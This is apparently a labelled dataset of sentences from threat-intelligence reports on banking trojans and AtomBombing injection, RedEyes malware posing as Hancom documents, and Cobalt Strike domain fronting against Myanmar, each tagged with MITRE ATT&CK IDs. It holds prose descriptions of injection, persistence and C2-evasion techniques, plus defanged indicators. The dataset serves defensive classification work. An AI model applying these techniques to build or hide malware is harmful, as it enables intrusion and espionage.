{"sentence": "The target thread then retrieves the payload from the global atom table and inserts it into a read/write (RW) region inside the target process memory space (a code cave inside the kernelbase.dll data section).", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The payload has to be split into NULL-terminated strings and an atom is created for each string.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For the execution, the injector process dispatches another APC using NtQueueApcThread to force the remote process to execute NtSetContextThread.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The injected process then calls NtSetContextThread, which invokes a return-oriented programming (ROP) chain that allocates execute/read/write (RWX) memory.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The ROP chain then copies the payload from the RW region into the newly allocated RWX region, and lastly, executes it.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The unique idea behind AtomBombing is the write-primitive, which allows writing to the remote process using atom tables and APC.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Dridex uses a variation of AtomBombing that queues an APC to call memset to clean an RW region in ntdll.dll.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Then, it copies the payload and its import table into the target process using the same write technique into the ntdll.dll RW region.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For the execution, Dridex modifies the copied payload memory into executable memory using NtProtectVirtualMemory.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Then it hooks GlobalGetAtomA by calling NtProtectVirtualMemory and by using the same write primitive.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Finally, it queues an APC into the patched GlobalGetAtomA to get the payload running. Figure 14.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "AtomBombing proof of concept code.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent AtomBombing and its Variants", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "These techniques can be prevented by inspecting whether the arguments provided to NtQueueApcThread/NtSetContextThread calls point to a suspicious API – the APC routine argument in the case of NtQueueApcThread, or the new instruction pointer in the context argument in the case of NtSetContextThread.", "labels": ["T1055", "T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Both API calls have to be called into a remote process.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Conclusion Threat actors who are in it for the money use a wide range of malware techniques for injection and financial fraud, and they are always looking for new ways to develop evasive techniques.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "We have explored some of the more interesting banking Trojan techniques and how they’re used to steal victims’ sensitive data.", "labels": ["T1005"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "And finally, we describe how these techniques can be used to detect malicious behavior, so it can be prevented.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Palo Alto Networks customers using Cortex XDR receive protections from such attacks in different layers, including the following: Local Analysis Machine Learning module Behavioral Threat Protection Behavioral indicators of compromise (BIOC) and Analytics BIOCs rules These layers identify the tactics and techniques that banking Trojans use at different stages of their execution.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Palo Alto Networks customers also receive protections against the attacks discussed here through the WildFire cloud-delivered security subscription for the Next-Generation Firewall. Indicators of Compromise Trickbot testnewinj32Dll.dll:", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "4becc0d518a97cc31427cd08348958cda4e00487c7ec0ac38fdcd53bbe36b5cc Webinjects: ef6603a7ef46177ecba194148f72d396d0ddae47e3d6e86cf43085e34b3a64d4 Emotet: dd20506b3c65472d58ccc0a018cb67c65fab6718023fd4b16e148e64e69e5740 Kronos: aad98f57ce0d2d2bb1494d82157d07e1f80fb6ee02dd5f95cd6a1a2dc40141bc Zeus: 0f409bc42d5cd8d28abf6d950066e991bf9f4c7bd0e234d6af9754af7ad52aa6 IcedID: 358af26358a436a38d75ac5de22ae07c4d59a8d50241f4fff02c489aa69e462f Dridex: ffbd79ba40502a1373b8991909739a60a95e745829d2e15c4d312176bbfb5b3e Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "AhnLab Security Emergency response Center (ASEC) has confirmed the distribution of malware disguised as Hancom Office document files.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The malware that is being distributed is named “Who and What Threatens the World (Column).exe” and is designed to deceive users by using an icon that is similar to that of Hancom Office.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Decompressing the compressed file reveals a relatively large file with a size of 36,466,238 bytes.", "labels": ["T1027", "T1140"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "AhnLab Endpoint Detection and Response (EDR) is capable of detecting such attack techniques through its trace data, and it allows users to check the data required to investigate the related breach case.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Execution flow diagram Figure 1 depicts the icon of the malware and its overall execution.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "It provides a visual representation of which processes are used when the malware is executed. Figure 2.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "File trace data of malware creation Figure 3.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Primary trace data of malware Figures 2 and 3 show the trace data of key behaviors within the overall flow of the malware.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "In Figure 2, a trace can be observed of the malware creating a folder named onedrivenew in the AppData directory and self-copying itself with the filename onedrivenew.exe to appear as a normal file.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "In Figure 3, a trace can be seen of the malware creating and executing a normal Hancom Office file with the same filename as the malware within the same directory where the malware was executed.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The malware is injected and executed within the normal Windows process called mstsc.exe.", "labels": ["T1055"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The original file is deleted using the cmd command.", "labels": ["T1070.004"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Trace data of the normal Windows process, mstsc.exe Figure 4 displays the trace data of mstsc.exe being executed after being injected with malware.", "labels": ["T1055"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The malware registers its file with the name onedrivenew under the Run key in order to make it run after the system is rebooted.", "labels": ["T1112", "T1547.001"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Afterward, it uses the schtasks.exe command to register the file to the task scheduler with the name OneDriveOp to connect to a certain URL every 60 minutes using the normal Windows file mshta.exe.", "labels": ["T1036.005", "T1053.005", "T1071.001"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The URL registered in the task scheduler appears to be a normal homepage, but it contains a web shell.", "labels": ["T1036.005", "T1053.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The inserted web shell has been confirmed to be similar to the one posted in “Targeted Attack on a Website Developed by a Specific Web Design Company (Red Eyes and APT37)” on the AhnLab Threat Intelligence Platform.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "When it comes to targeted attacks, there are factors that general users may struggle to deal with.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Even if users find themselves exposed to such threats, AhnLab EDR can provide trace data for appropriate responses.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "[File Detection]– Trojan/Win.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Agent.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "R580958", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "(2023.05.24.02)", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "[IOC]MD5 – 93fc0fb9b87a00b38f18c1cc4ee02e50 C2 – hxxp://ingarchi.com/bbs/data/culture– hxxp://ingarchi.com/bbs/data/culture/getcfg.php AhnLab EDR protects the endpoint environment by delivering behavioral detection, advanced analysis, holistic visibility, and proactive threat hunting.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "For more information about the product, please visit our official website.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The post Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed (RedEyes) appeared first on ASEC BLOG.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "By Chetan Raghuprasad, Vanja Svajcer and Asheer Malhotra.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "News Summary Cisco Talos discovered a new malicious campaign using a leaked version of Cobalt Strike in September 2021.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This shows that Cobalt Strike, although it was originally created as a legitimate tool, continues to be something defenders need to monitor, as attackers are using it to set up attacks.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The threat actor in this case uses domain fronting with the Cloudflare Content Delivery Network, redirecting a Myanmar government owned-domain to an attacker-controlled server.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The threat actor employed the tactic of re-registering reputed domains in their attack chains to evade detections.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This threat demonstrates several techniques of the MITRE ATT&CK framework, most notably T1202 - Indirect Command Execution , T1027 - Obfuscated Files or Information, T1105 - Ingress Tool Transfer, T1071.001 - Application Layer Protocols:Web Protocols.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "What's New? Cisco Talos discovered a malicious campaign using an obfuscated Meterpreter stager to deploy Cobalt Strike beacons in September 2021.", "labels": ["T1027"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The actor used a domain owned and operated by the Myanmar government, the Myanmar Digital News network, as a domain front for their beacons.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The evolution of this threat indicates that the attackers have been active since at least August 2021 using a combination of Meterpreter stagers and Cobalt Strike beacons to establish presence on victim's endpoints.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "How did it work?", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The malware is typically a loader that runs on a victim machine, decodes and executes the Cobalt Strike beacon DLL via reflective injection.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "It loads several libraries during the runtime and generates the beacon traffic according to the embedded configuration file.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The configuration file contains the information related to the command and control (C2) server which instructs the victim's machine to send the initial DNS request attempting to connect to the host of the Myanmar government-owned domain www[.]mdn[.]gov[.]mm.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The site is hosted behind the Cloudflare content delivery network and the actual C2 traffic is redirected to an attacker controlled server test[.]softlemon[.]net based on the HTTP host header information specified in the beacon's configuration data.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "So what?", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike has been used by many actors in the past and is a de-facto standard tool for post-exploitation activities and pivoting.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Attackers use it to deploy a wide range of payloads, from commodity malware, to sophisticated state-sponsored activities.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike allows actors to shape the traffic of beacons to mimic legitimate traffic patterns.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "One of the techniques to conceal the traffic from DNS-based filtering is Domain Fronting.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Domain fronting uses legitimate or high-reputation domains to remain undetected by defenders.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The attacker's choice of Myanmar-specific domains for domain fronting may indicate an interest in the geopolitics of this area of the world.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "In this campaign, the actor used staged payloads using the Meterpreter stager, which gives an indication that the beacon will be used for further attacks.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The defenders should be constantly vigilant and monitor network traffic to detect Cobalt Strike activities, since it is one of the most commonly used offensive tools by crimeware and APT operators.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Evolution of the campaign A study of the evolution of the campaign shows the actor experimenting with different combinations of hosts with the intent of perfecting the domain fronting technique.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The earliest beacon discovered around the middle of August 2021 contains the C2 URI set to test[.]softlemon[.]net while the HTTP Get and Post requests headers are pointing to dark-forest-002[.]president[.]workers[.]dev which is a Cloudflare serverless workers domain.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The default host header configuration for request contains the host name test[.]softlemon[.]net, which is also used by more recent samples.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Another sample discovered in late August 2021 consisted of the C2 host URI xxx[.]xxxx[.]tk and the host header setting configured to point to test[.]softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Beginning September 2021, the attackers started using the Myanmar Digital News domain for fronting their beacons.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "While the default C2 domain was specified as www[.]mdn[.]gov[.]mm, the beacon's traffic was redirected to the de-facto C2 test[.]softlemon[.]net via HTTP Get and POST metadata specified in the beacon's configuration.", "labels": ["T1071.001"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The actor likely changed the configuration to test their infrastructure and the domain fronting functionality before launching the attack.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Based on the beacon configuration template and the real C2 host test[.]softlemon[.]net, we assess with moderate confidence that the samples are created by a single actor.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Timeline of malware samples first seen in the wild.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike beacon configurations", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We extracted the beacon config from the payload that showed us the actor has used different values for the User Agent, C2-Server and Host-header in different malwares of this campaign.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon configuration of samples usually has a User Agent, which is Mozilla compatible and of Windows 7. C2 server, UserAgent and de-facto C2 variations in the beacons.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Watermark The Cobalt Strike watermark is a number generated from the license file and is unique to a Cobalt Strike license.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The watermark on the beacons used in this campaign was 305419896 (hex: 0x12345678).", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This particular watermark has previously been attributed to a leaked Cobalt Strike version and is unsurprisingly used by other malicious actors, such as Maze ransomware and Trickbot groups, making attribution based on the watermark number impossible.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "It is difficult to assess if the usage of the previously registered expired domain for C2 server and the leaked Cobalt Strike point to an increased operational security awareness of the actor or to limited resources available to them.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Domain fronting The actor in this campaign has used domain fronting, which is a technique which can use high reputation domains to conceal the Cobalt Strike command and control traffic.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "A government domain of Myanmar www[.]mdn[.]gov[.]mm was used in this particular instance.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The fronted domain mdn[.]gov[.]mm is a legitimate domain of Myanmar Digital News, a state-owned digital newspaper.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This website has previously been compromised in February by the Brotherhood of Myanmar group, a collection of militia groups.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Although there are no indications that the previous defacement of the domain by the Brotherhood of Myanmar and the campaign described in this post are related, the domain itself is clearly of interest to various actors.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Domain fronting can be achieved with a redirect between the malicious server and the target.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Malicious actors may misuse various content delivery networks (CDNs) to set up redirects of serving content to the content served by attacker-controlled C2 hosts.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cloudflare is one of the CDN services that provides its users with a globally distributed cache for files hosted on their servers.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cloudflare identifies distributions by the FQDN used to request resources.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cloudflare users have the option to use their own subdomain and create a DNS record that points to Cloudflare.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This subdomain tells Cloudflare to associate that DNS record with a specific distribution.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon calls home www[.]mdn[.]gov[.]mm,/api/3 and has set the Host header to the actual C2 server test[.]softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon traffic resolves to a Cloudflare IP address.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The DNS request that led them there will be lost and relies on other parts of the HTTP request, including the Host header and the actual C2 test[.]softlemon[.]net.", "labels": ["T1071.001"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Summary of domain fronting of Myanmar government's domain.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike payload The beacons are of particular interest due to the domain fronting technique using a government host as the initial DNS lure.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The MITRE ATT&CK framework techniques used by this malware are: T1202 - Indirect Command Execution T1027 - Obfuscated Files or Information T1105 - Ingress Tool Transfer T1071.001 - Application Layer Protocols:Web Protocols", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We also analysed the loader binary to find specifics of its memory loading and functionality.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We spotted a suspicious section .kxrt with the packed and encoded malicious code.", "labels": ["T1027"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The malware links several functions at runtime and has the Meterpreter staging code.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "When the malware runs, the .tls section runs first, loads the libraries and starts the execution of the malicious code at the entry point in the .kxrt section.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The entry point code calls a function to allocate virtual memory in its own process space. Function at address 00401550 shows the allocation of virtual memory.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The loader next calls the VirtualProtect function to set the virtual memory page permissions to Read-Write-Execute and writes the image base of the Cobalt Strike beacon which will be executed in a new thread.", "labels": ["T1106"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Function sets the virtual memory page permission to Read-Write-Execute.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We spotted two libraries linking during runtime.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Aside from this, there are several other standard libraries the malware links during the runtime.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Function that loads library during the runtime.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "After allocating the virtual memory and setting the page permissions to Read-Write-Execute, a decryption routine is executed that decrypts the remaining malicious code in the .kxrt section and writes it to the virtual memory.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Decoder routine to decrypt the beacon DLL.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The decrypted malicious code is the actual Cobalt Strike beacon.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Once decoded, the loader's execution jumps to the beginning of the DLL resulting in a reflective-load of the beacon into the loader process memory.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This beacon is now responsible for decoding the configuration.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Stack view of info loaded from the beacon config.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon resolves the proxy by calling WinHTTPGetProxyForUrlEx and WinHTTPCreateProxyResolver to bypass the proxy for the URL.", "labels": ["T1106"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Function that resolves the victim's system proxy for the URL.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Soon after that, the beacon initiates the Cobalt Strike beacon traffic to the C2 server.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The DNS request for the initial host resolves to a Cloudflare-owned IP address that allows the attacker to employ domain fronting and send the traffic to the actual C2 host test[.]softlemon[.]net, also proxied by Cloudflare.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "At the time of analysis, the sample C2 host infrastructure was not online and we received a 404 error.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike beacon traffic.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon contains techniques to detect debuggers using GetTickCount, IsDebuggerPresent and the NtDelayExecution call to delay the execution of the malware for evading sandbox-based dynamic analysis systems.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon can also manage the system power policies registry keys to set the minimum and maximum sleep times and the lid open and close action policy.", "labels": ["T1112"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon modifies the victim's system power and lid open/close policies in the registry.", "labels": ["T1112"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Command and control The C2 server - test[.]softlemon[.]net is the subdomain of softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The domain softlemon[.]net was registered under Google domains until August 2019 and likely expired since then.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The malicious actor re-registered this domain on Aug. 5, 2021.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The SSL certificate for the domain softlemon[.]net with the serial number 4aa6af6d719bfdd1c6dff3d7b640aed7ee3was issued by Let's Encrypt, a free SSL certificate provider.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The Talos reputation engine has classified it as an untrusted domain and Cisco Umbrella shows a spike in the DNS queries in September 2021.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This activity is consistent with the evolution of the Cobalt Strike beacons illustrated earlier the attackers started instrumenting beacons fronted with the Digital News domain at the beginning of September.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "DNS spike for test[.]softlemon[.]net queries vs dates.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Our research uncovered that the C2 test[.]softlemon[.]net is a Windows server running Internet Information Services (IIS).", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "IIS service response rendered from the host test[.]softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "According to Shodan, the IP address 193[.]135[.]134[.]124 hosted by a Russian provider may be the real C2 IP address protected by the Cloudflare infrastructure as the SSL certificate served on port 8443 belongs to Cloudflare and lists the X509v3 Subject Alternative Name as DNS:*.softlemon.net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Conclusion Domain fronting is a technique used by attackers to circumvent protection based on DNS filtering.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "In this campaign, a malicious Cobalt Strike beacon is configured to take advantage of a mechanism used by Cloudflare and other content distribution networks to instruct the proxy about the host to be used for serving the content.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "When the beacon is launched, it will submit a DNS request for a legitimate high-reputation domain hosted behind Cloudflare infrastructure and modify the subsequent HTTPs requests header to instruct the CDN to direct the traffic to an attacker-controlled host.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Defenders should monitor their network traffic even to high reputation domains in order to identify the potential domain fronting attacks with Cobalt Strike and other offensive tools.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "XDR tools should be deployed to endpoints in order to detect behavior of Cobalt Strike loaders and Meterpreter stagers as they are frequently used by a wide range of actors.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Coverage Ways our customers can detect and block this threat are listed below.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
